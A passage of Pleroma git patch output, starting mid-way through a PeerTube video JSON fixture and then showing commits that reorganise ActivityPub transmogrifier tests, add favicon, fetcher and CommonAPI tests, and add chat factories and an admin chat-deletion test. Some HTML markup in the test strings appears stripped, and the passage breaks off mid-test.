hls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-360-fragmented.mp4","height":360},{"type":"Link","mediaType":"video/mp4","href":"https://framatube.org/static/streaming-playlists/hls/6050732a-8a7a-43d4-a6cd-809525a1d206/6050732a-8a7a-43d4-a6cd-809525a1d206-240-fragmented.mp4","height":240,"size":112529249,"fps":25},{"type":"Link","rel":["metadata","video/mp4"],"mediaType":"application/json","href":"https://framatube.org/api/v1/videos/6050732a-8a7a-43d4-a6cd-809525a1d206/metadata/1309948","height":240,"fps":25},{"type":"Link","mediaType":"application/x-bittorrent","href":"https://framatube.org/static/torrents/6050732a-8a7a-43d4-a6cd-809525a1d206-240-hls.torrent","height":240},{"type":"Link","mediaType":"application/x-bittorrent;x-scheme-handler/magnet","href":"magnet:?xs=https%3A%2F%2Fframatube.org%2Fstatic%2Ftorrents%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240-hls.torrent&xt=urn:btih:8b452bf4e70b9078d4e74ca8b5523cc9dc70d10a&dn=D%C3%A9framasoftisons+Internet+%5BFramasoft%5D&tr=wss%3A%2F%2Fframatube.org%3A443%2Ftracker%2Fsocket&tr=https%3A%2F%2Fframatube.org%2Ftracker%2Fannounce&ws=https%3A%2F%2Fframatube.org%2Fstatic%2Fstreaming-playlists%2Fhls%2F6050732a-8a7a-43d4-a6cd-809525a1d206%2F6050732a-8a7a-43d4-a6cd-809525a1d206-240-fragmented.mp4","height":240}]}],"likes":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/likes","dislikes":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/dislikes","shares":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/announces","comments":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206/comments","attributedTo":[{"type":"Person","id":"https://framatube.org/accounts/framasoft"},{"type":"Group","id":"https://framatube.org/video-channels/bf54d359-cfad-4935-9d45-9d6be93f63e8"}],"to":["https://www.w3.org/ns/activitystreams#Public"],"cc":["https://framatube.org/accounts/framasoft/followers"]},"to":["https://www.w3.org/ns/activitystreams#Public"],"cc":["https://framatube.org/accounts/framasoft/followers"],"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1",{"RsaSignature2017":"https://w3id.org/security#RsaSignature2017"},{"pt":"https://joinpeertube.org/ns#","sc":"http://schema.org#","Hashtag":"as:Hashtag","uuid":"sc:identifier","category":"sc:category","licence":"sc:license","subtitleLanguage":"sc:subtitleLanguage","sensitive":"as:sensitive","language":"sc:inLanguage","Infohash":"pt:Infohash","Playlist":"pt:Playlist","PlaylistElement":"pt:PlaylistElement","originallyPublishedAt":"sc:datePublished","views":{"@type":"sc:Number","@id":"pt:views"},"state":{"@type":"sc:Number","@id":"pt:state"},"size":{"@type":"sc:Number","@id":"pt:size"},"fps":{"@type":"sc:Number","@id":"pt:fps"},"startTimestamp":{"@type":"sc:Number","@id":"pt:startTimestamp"},"stopTimestamp":{"@type":"sc:Number","@id":"pt:stopTimestamp"},"position":{"@type":"sc:Number","@id":"pt:position"},"commentsEnabled":{"@type":"sc:Boolean","@id":"pt:commentsEnabled"},"downloadEnabled":{"@type":"sc:Boolean","@id":"pt:downloadEnabled"},"waitTranscoding":{"@type":"sc:Boolean","@id":"pt:waitTranscoding"},"support":{"@type":"sc:Text","@id":"pt:support"},"likes":{"@id":"as:likes","@type":"@id"},"dislikes":{"@id":"as:dislikes","@type":"@id"},"playlists":{"@id":"pt:playlists","@type":"@id"},"shares":{"@id":"as:shares","@type":"@id"},"comments":{"@id":"as:comments","@type":"@id"}}]} \ No newline at end of file diff --git a/test/web/activity_pub/transmogrifier/video_handling_test.exs b/test/web/activity_pub/transmogrifier/video_handling_test.exs new file mode 100644 index 000000000..69c953a2e --- /dev/null +++ b/test/web/activity_pub/transmogrifier/video_handling_test.exs @@ -0,0 +1,93 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.VideoHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Object.Fetcher + alias Pleroma.Web.ActivityPub.Transmogrifier + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "skip converting the content when it is nil" do + data = + File.read!("test/fixtures/tesla_mock/framatube.org-video.json") + |> Jason.decode!() + |> Kernel.put_in(["object", "content"], nil) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["content"] == nil + end + + test "it converts content of object to html" do + data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["content"] == + "

Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?

Transcription par @aprilorg ici : https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft

" + end + + test "it remaps video URLs as attachments if necessary" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + ) + + assert object.data["url"] == + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + + assert object.data["attachment"] == [ + %{ + "type" => "Link", + "mediaType" => "video/mp4", + "name" => nil, + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + + data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["attachment"] == [ + %{ + "type" => "Link", + "mediaType" => "video/mp4", + "name" => nil, + "url" => [ + %{ + "href" => + "https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + + assert object.data["url"] == + "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" + end +end diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index cc55a7be7..0a3291d49 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -8,7 +8,6 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do alias Pleroma.Activity alias Pleroma.Object - alias Pleroma.Object.Fetcher alias Pleroma.Tests.ObanHelpers alias Pleroma.User alias Pleroma.Web.ActivityPub.Transmogrifier @@ -355,83 +354,6 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do refute User.following?(User.get_cached_by_ap_id(data["actor"]), user) end - test "skip converting the content when it is nil" do - object_id = "https://peertube.social/videos/watch/278d2b7c-0f38-4aaa-afe6-9ecc0c4a34fe" - - {:ok, object} = Fetcher.fetch_and_contain_remote_object_from_id(object_id) - - result = - Pleroma.Web.ActivityPub.Transmogrifier.fix_object(Map.merge(object, %{"content" => nil})) - - assert result["content"] == nil - end - - test "it converts content of object to html" do - object_id = "https://peertube.social/videos/watch/278d2b7c-0f38-4aaa-afe6-9ecc0c4a34fe" - - {:ok, %{"content" => content_markdown}} = - Fetcher.fetch_and_contain_remote_object_from_id(object_id) - - {:ok, %Pleroma.Object{data: %{"content" => content}} = object} = - Fetcher.fetch_object_from_id(object_id) - - assert content_markdown == - "Support this and our other Michigan!/usr/group videos and meetings. Learn more at http://mug.org/membership\n\nTwenty Years in Jail: FreeBSD's Jails, Then and Now\n\nJails started as a limited virtualization system, but over the last two years they've..." - - assert content == - "

Support this and our other Michigan!/usr/group videos and meetings. Learn more at http://mug.org/membership

Twenty Years in Jail: FreeBSD’s Jails, Then and Now

Jails started as a limited virtualization system, but over the last two years they’ve…

" - - assert object.data["mediaType"] == "text/html" - end - - test "it remaps video URLs as attachments if necessary" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - ) - - assert object.data["url"] == - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - - assert object.data["attachment"] == [ - %{ - "type" => "Link", - "mediaType" => "video/mp4", - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" - ) - - assert object.data["attachment"] == [ - %{ - "type" => "Link", - "mediaType" => "video/mp4", - "url" => [ - %{ - "href" => - "https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - - assert object.data["url"] == - "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" - end - test "it accepts Flag activities" do user = insert(:user) other_user = insert(:user) @@ -1133,75 +1055,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do } end - test "fixes data for video object" do - object = %{ - "type" => "Video", - "url" => [ - %{ - "type" => "Link", - "mimeType" => "video/mp4", - "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" - }, - %{ - "type" => "Link", - "mimeType" => "video/mp4", - "href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4" - }, - %{ - "type" => "Link", - "mimeType" => "text/html", - "href" => "https://peertube.-2d4c2d1630e3" - }, - %{ - "type" => "Link", - "mimeType" => "text/html", - "href" => "https://peertube.-2d4c2d16377-42" - } - ] - } - - assert Transmogrifier.fix_url(object) == %{ - "attachment" => [ - %{ - "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mimeType" => "video/mp4", - "type" => "Link" - } - ], - "type" => "Video", - "url" => "https://peertube.-2d4c2d1630e3" - } - end - - test "fixes url for not Video object" do - object = %{ - "type" => "Text", - "url" => [ - %{ - "type" => "Link", - "mimeType" => "text/html", - "href" => "https://peertube.-2d4c2d1630e3" - }, - %{ - "type" => "Link", - "mimeType" => "text/html", - "href" => "https://peertube.-2d4c2d16377-42" - } - ] - } - - assert Transmogrifier.fix_url(object) == %{ - "type" => "Text", - "url" => "https://peertube.-2d4c2d1630e3" - } - - assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{ - "type" => "Text", - "url" => "" - } - end - - test "retunrs not modified object" do + test "returns non-modified object" do assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"} end end -- cgit v1.2.3 From 1b3d5956b1be7faac4e1230d788307650acce991 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Thu, 20 Aug 2020 20:03:07 +0200 Subject: Pipeline Ingestion: Article --- .../tesla_mock/wedistribute-create-article.json | 1 + .../article_note_validator_test.exs | 35 ++++++++++ .../object_validators/note_validator_test.exs | 35 ---------- .../transmogrifier/article_handling_test.exs | 75 ++++++++++++++++++++++ test/web/activity_pub/transmogrifier_test.exs | 9 --- 5 files changed, 111 insertions(+), 44 deletions(-) create mode 100644 test/fixtures/tesla_mock/wedistribute-create-article.json create mode 100644 test/web/activity_pub/object_validators/article_note_validator_test.exs delete mode 100644 test/web/activity_pub/object_validators/note_validator_test.exs create mode 100644 test/web/activity_pub/transmogrifier/article_handling_test.exs (limited to 'test') diff --git a/test/fixtures/tesla_mock/wedistribute-create-article.json b/test/fixtures/tesla_mock/wedistribute-create-article.json new file mode 100644 index 000000000..3cfef8b99 --- /dev/null +++ b/test/fixtures/tesla_mock/wedistribute-create-article.json @@ -0,0 +1 @@ +{"@context":["https:\/\/www.w3.org\/ns\/activitystreams"],"type":"Create","actor":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/actor\/-blog","object":{"@context":["https:\/\/www.w3.org\/ns\/activitystreams"],"type":"Article","name":"The end is near: Mastodon plans to drop OStatus support","content":"\n

The days of OStatus are numbered. The venerable protocol has served as a glue between many different types of servers since the early days of the Fediverse, connecting StatusNet (now GNU Social) to Friendica, Hubzilla, Mastodon, and Pleroma.<\/p>\n\n\n\n

Now that many fediverse platforms support ActivityPub as a successor protocol, Mastodon appears to be drawing a line in the sand. In a Patreon update<\/a>, Eugen Rochko writes:<\/p>\n\n\n\n

...OStatus...has overstayed its welcome in the code...and now that most of the network uses ActivityPub, it's time for it to go. <\/p>Eugen Rochko, Mastodon creator<\/cite><\/blockquote>\n\n\n\n

The pull request<\/a> to remove Pubsubhubbub and Salmon, two of the main components of OStatus, has already been merged into Mastodon's master branch.<\/p>\n\n\n\n

Some projects will be left in the dark as a side effect of this. GNU Social and PostActiv, for example, both only communicate using OStatus. While some discussion<\/a> exists regarding adopting ActivityPub for GNU Social, and a plugin is in development<\/a>, it hasn't been formally adopted yet. We just hope that the Free Software Foundation's instance<\/a> gets updated in time!<\/p>\n","summary":"One of the largest platforms in the federated social web is dropping the protocol that it started with.","attributedTo":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/actor\/-blog","url":"https:\/\/wedistribute.org\/2019\/07\/mastodon-drops-ostatus\/","to":["https:\/\/www.w3.org\/ns\/activitystreams#Public","https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/actor\/-blog\/followers"],"id":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/object\/85810","likes":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/object\/85810\/likes","shares":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/object\/85810\/shares"},"to":["https:\/\/www.w3.org\/ns\/activitystreams#Public","https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/actor\/-blog\/followers"],"id":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/object\/85809"} \ No newline at end of file diff --git a/test/web/activity_pub/object_validators/article_note_validator_test.exs b/test/web/activity_pub/object_validators/article_note_validator_test.exs new file mode 100644 index 000000000..cc6dab872 --- /dev/null +++ b/test/web/activity_pub/object_validators/article_note_validator_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidatorTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator + alias Pleroma.Web.ActivityPub.Utils + + import Pleroma.Factory + + describe "Notes" do + setup do + user = insert(:user) + + note = %{ + "id" => Utils.generate_activity_id(), + "type" => "Note", + "actor" => user.ap_id, + "to" => [user.follower_address], + "cc" => [], + "content" => "Hellow this is content.", + "context" => "xxx", + "summary" => "a post" + } + + %{user: user, note: note} + end + + test "a basic note validates", %{note: note} do + %{valid?: true} = ArticleNoteValidator.cast_and_validate(note) + end + end +end diff --git a/test/web/activity_pub/object_validators/note_validator_test.exs b/test/web/activity_pub/object_validators/note_validator_test.exs deleted file mode 100644 index 30c481ffb..000000000 --- a/test/web/activity_pub/object_validators/note_validator_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.NoteValidatorTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.ObjectValidators.NoteValidator - alias Pleroma.Web.ActivityPub.Utils - - import Pleroma.Factory - - describe "Notes" do - setup do - user = insert(:user) - - note = %{ - "id" => Utils.generate_activity_id(), - "type" => "Note", - "actor" => user.ap_id, - "to" => [user.follower_address], - "cc" => [], - "content" => "Hellow this is content.", - "context" => "xxx", - "summary" => "a post" - } - - %{user: user, note: note} - end - - test "a basic note validates", %{note: note} do - %{valid?: true} = NoteValidator.cast_and_validate(note) - end - end -end diff --git a/test/web/activity_pub/transmogrifier/article_handling_test.exs b/test/web/activity_pub/transmogrifier/article_handling_test.exs new file mode 100644 index 000000000..9b12a470a --- /dev/null +++ b/test/web/activity_pub/transmogrifier/article_handling_test.exs @@ -0,0 +1,75 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Object.Fetcher + alias Pleroma.Web.ActivityPub.Transmogrifier + + test "Pterotype (Wordpress Plugin) Article" do + Tesla.Mock.mock(fn %{url: "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json")} + end) + + data = + File.read!("test/fixtures/tesla_mock/wedistribute-create-article.json") |> Jason.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + object = Object.normalize(data["object"]) + + assert object.data["name"] == "The end is near: Mastodon plans to drop OStatus support" + + assert object.data["summary"] == + "One of the largest platforms in the federated social web is dropping the protocol that it started with." + + assert object.data["url"] == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" + end + + test "Plume Article" do + Tesla.Mock.mock(fn + %{url: "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") + } + + %{url: "https://baptiste.gelez.xyz/@/BaptisteGelez"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") + } + end) + + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + ) + + assert object.data["name"] == "This Month in Plume: June 2018" + + assert object.data["url"] == + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + end + + test "Prismo Article" do + Tesla.Mock.mock(fn %{url: "https://prismo.news/@mxb"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") + } + end) + + data = File.read!("test/fixtures/prismo-url-map.json") |> Jason.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["url"] == "https://prismo.news/posts/83" + end +end diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index 0a3291d49..561674f01 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -44,15 +44,6 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do assert "test" in object.data["tag"] end - test "it works for incoming notices with url not being a string (prismo)" do - data = File.read!("test/fixtures/prismo-url-map.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["url"] == "https://prismo.news/posts/83" - end - test "it cleans up incoming notices which are not really DMs" do user = insert(:user) other_user = insert(:user) -- cgit v1.2.3 From dbc013f24c3885960714425f201e372335d22345 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Fri, 11 Sep 2020 11:22:50 +0200 Subject: instance: Handle not getting a favicon --- test/web/instances/instance_test.exs | 77 ++++++++++++++++++++++-------------- 1 file changed, 48 insertions(+), 29 deletions(-) (limited to 'test') diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs index dc6ace843..4f0805100 100644 --- a/test/web/instances/instance_test.exs +++ b/test/web/instances/instance_test.exs @@ -99,35 +99,54 @@ defmodule Pleroma.Instances.InstanceTest do end end - test "Scrapes favicon URLs" do - Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: ~s[] - } - end) - - assert "https://favicon.example.org/favicon.png" == - Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) - end + describe "get_or_update_favicon/1" do + test "Scrapes favicon URLs" do + Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[] + } + end) + + assert "https://favicon.example.org/favicon.png" == + Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) + end - test "Returns nil on too long favicon URLs" do - long_favicon_url = - "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" - - Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: ~s[] - } - end) - - assert capture_log(fn -> - assert nil == - Instance.get_or_update_favicon( - URI.parse("https://long-favicon.example.org/") - ) - end) =~ - "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" + test "Returns nil on too long favicon URLs" do + long_favicon_url = + "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" + + Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: + ~s[] + } + end) + + assert capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://long-favicon.example.org/") + ) + end) =~ + "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" + end + + test "Handles not getting a favicon URL properly" do + Tesla.Mock.mock(fn %{url: "https://no-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[

I wil look down and whisper "GNO.."

] + } + end) + + refute capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://no-favicon.example.org/") + ) + end) =~ "Instance.scrape_favicon(\"https://no-favicon.example.org/\") error: " + end end end -- cgit v1.2.3 From f1f44069ae525fd21127e5ceccc61016c12f4427 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Fri, 11 Sep 2020 19:58:58 +0200 Subject: Fetcher: Correctly return MRF reject reason --- test/object/fetcher_test.exs | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) (limited to 'test') diff --git a/test/object/fetcher_test.exs b/test/object/fetcher_test.exs index 16cfa7f5c..3173ee31c 100644 --- a/test/object/fetcher_test.exs +++ b/test/object/fetcher_test.exs @@ -6,10 +6,13 @@ defmodule Pleroma.Object.FetcherTest do use Pleroma.DataCase alias Pleroma.Activity + alias Pleroma.Config alias Pleroma.Object alias Pleroma.Object.Fetcher - import Tesla.Mock + + import ExUnit.CaptureLog import Mock + import Tesla.Mock setup do mock(fn @@ -71,20 +74,20 @@ defmodule Pleroma.Object.FetcherTest do setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) test "it returns thread depth exceeded error if thread depth is exceeded" do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + Config.put([:instance, :federation_incoming_replies_max_depth], 0) assert {:error, "Max thread distance exceeded."} = Fetcher.fetch_object_from_id(@ap_id, depth: 1) end test "it fetches object if max thread depth is restricted to 0 and depth is not specified" do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + Config.put([:instance, :federation_incoming_replies_max_depth], 0) assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id) end test "it fetches object if requested depth does not exceed max thread depth" do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 10) + Config.put([:instance, :federation_incoming_replies_max_depth], 10) assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id, depth: 10) end @@ -120,6 +123,16 @@ defmodule Pleroma.Object.FetcherTest do assert object == object_again end + + test "Return MRF reason when fetched status is rejected by one" do + clear_config([:mrf_keyword, :reject], ["yeah"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + Fetcher.fetch_object_from_id( + "http://mastodon.example.org/@admin/99541947525187367" + ) + end end describe "implementation quirks" do @@ -212,7 +225,7 @@ defmodule Pleroma.Object.FetcherTest do Pleroma.Signature, [:passthrough], [] do - Pleroma.Config.put([:activitypub, :sign_object_fetches], true) + Config.put([:activitypub, :sign_object_fetches], true) Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") @@ -223,7 +236,7 @@ defmodule Pleroma.Object.FetcherTest do Pleroma.Signature, [:passthrough], [] do - Pleroma.Config.put([:activitypub, :sign_object_fetches], false) + Config.put([:activitypub, :sign_object_fetches], false) Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") -- cgit v1.2.3 From f88dc1937e5aa4208143fa68400a5c38a1b9eddf Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 31 Aug 2020 16:48:24 -0500 Subject: MastodonAPI.StatusView.get_user/1 --> CommonAPI.get_user/1 --- test/web/common_api/common_api_test.exs | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) (limited to 'test') diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index 4ba6232dc..d171b344a 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -1126,4 +1126,24 @@ defmodule Pleroma.Web.CommonAPITest do assert Visibility.get_visibility(activity) == "private" end end + + describe "get_user/1" do + test "gets user by ap_id" do + user = insert(:user) + assert CommonAPI.get_user(user.ap_id) == user + end + + test "gets user by guessed nickname" do + user = insert(:user, ap_id: "", nickname: "mario@mushroom.kingdom") + assert CommonAPI.get_user("https://mushroom.kingdom/users/mario") == user + end + + test "fallback" do + assert %User{ + name: "", + ap_id: "", + nickname: "erroruser@example.com" + } = CommonAPI.get_user("") + end + end end -- cgit v1.2.3 From b40a627ab02f9f63eac42ce6fc65282fc6cb6b92 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 31 Aug 2020 19:56:05 -0500 Subject: AdminAPI: delete a chat message --- test/support/factory.ex | 54 ++++++++++++++++++++++ .../admin_api/controllers/chat_controller_test.exs | 53 +++++++++++++++++++++ 2 files changed, 107 insertions(+) create mode 100644 test/web/admin_api/controllers/chat_controller_test.exs (limited to 'test') diff --git a/test/support/factory.ex b/test/support/factory.ex index 486eda8da..61ca4587c 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -460,4 +460,58 @@ defmodule Pleroma.Factory do phrase: "cofe" } end + + def chat_factory(attrs \\ %{}) do + user = attrs[:user] || insert(:user) + recipient = attrs[:recipient] || insert(:user) + + %Pleroma.Chat{ + user_id: user.id, + recipient: recipient.ap_id + } + end + + def chat_message_factory(attrs \\ %{}) do + text = sequence(:text, &"This is :moominmamma: chat message #{&1}") + chat = attrs[:chat] || insert(:chat) + + data = %{ + "type" => "ChatMessage", + "content" => text, + "id" => Pleroma.Web.ActivityPub.Utils.generate_object_id(), + "actor" => User.get_by_id(chat.user_id).ap_id, + "to" => [chat.recipient], + "published" => DateTime.utc_now() |> DateTime.to_iso8601() + } + + %Pleroma.Object{ + data: merge_attributes(data, Map.get(attrs, :data, %{})) + } + end + + def chat_message_activity_factory(attrs \\ %{}) do + chat = attrs[:chat] || insert(:chat) + chat_message = attrs[:chat_message] || insert(:chat_message, chat: chat) + + data_attrs = attrs[:data_attrs] || %{} + attrs = Map.drop(attrs, [:chat, :chat_message, :data_attrs]) + + data = + %{ + "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), + "type" => "Create", + "actor" => chat_message.data["actor"], + "to" => chat_message.data["to"], + "object" => chat_message.data["id"], + "published" => DateTime.utc_now() |> DateTime.to_iso8601() + } + |> Map.merge(data_attrs) + + %Pleroma.Activity{ + data: data, + actor: data["actor"], + recipients: data["to"] + } + |> Map.merge(attrs) + end end diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs new file mode 100644 index 000000000..4527437af --- /dev/null +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ChatControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Repo + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do + setup do + chat = insert(:chat) + message = insert(:chat_message_activity, chat: chat) + %{chat: chat, message: message} + end + + test "deletes chat message", %{conn: conn, chat: chat, message: message, admin: 